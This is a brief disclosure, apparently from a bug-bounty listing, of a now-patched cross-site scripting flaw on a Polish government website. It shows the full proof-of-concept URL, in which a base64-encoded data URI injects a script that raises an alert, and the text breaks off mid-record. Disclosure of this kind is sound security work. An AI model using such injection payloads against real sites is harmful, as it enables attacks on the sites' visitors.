nac.gov.pl XSS vulnerability

Vulnerable URL: http://www.nac.gov.pl/pub/PRLRutowskiej/bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnT1BFTiBCVUdCT1VOVFknKTwvc2NyaXB0Pg== Details: Description| Value ---|--- Patched:| Yes, at 06.10.2017 Latest check for patch:| 06.10.2017 05:52 GMT Vulnerability type:|...